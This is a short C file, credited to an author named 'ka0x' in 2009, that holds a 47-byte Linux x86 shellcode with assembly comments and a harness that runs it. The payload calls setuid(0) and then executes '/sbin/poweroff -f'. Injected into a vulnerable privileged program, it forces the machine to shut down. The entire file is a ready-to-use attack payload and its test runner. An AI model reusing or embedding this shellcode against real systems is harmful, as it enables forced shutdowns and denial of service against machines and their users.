#include <stdio.h> /* linux/x86 ; setuid(0) & execve("/sbin/poweroff -f") 47 bytes written by ka0x - <ka0x01[alt+64]gmail.com> lun sep 21 16:40:16 CEST 2009 greets: an0de, Piker, xarnuz, NullWave07, Pepelux, JosS, sch3m4, Trancek, Hendrix and others! */ int main() { char shellcode[] = "\x31\xdb" // xor ebx,ebx "\x6a\x17" // push byte 0x17 "\x58" // pop eax "\xcd\x80" // int 80h "\x8d\x43\x0b" // lea eax,[ebx+0xb] "\x99" // cdq "\x52" // push edx "\x66\x68\x66\x66" // push word 0x6666 "\x68\x77\x65\x72\x6f" // push dword 0x6f726577 "\x68\x6e\x2f\x70\x6f" // push dword 0x6f702f6e "\x68\x2f\x73\x62\x69" // push dword 0x6962732f "\x89\xe3" // mov ebx,esp "\x52" // push edx "\x66\x68\x2d\x66" // push word 0x662d "\x89\xe1" // mov ecx,esp "\x52" // push edx "\x51" // push ecx "\x53" // push ebx "\x89\xe1" // mov ecx,esp "\xcd\x80" ; // int 80h printf("[*] ShellCode size (bytes): %d\n\n", sizeof(shellcode)-1 ); (*(void(*)()) shellcode)(); return 0; }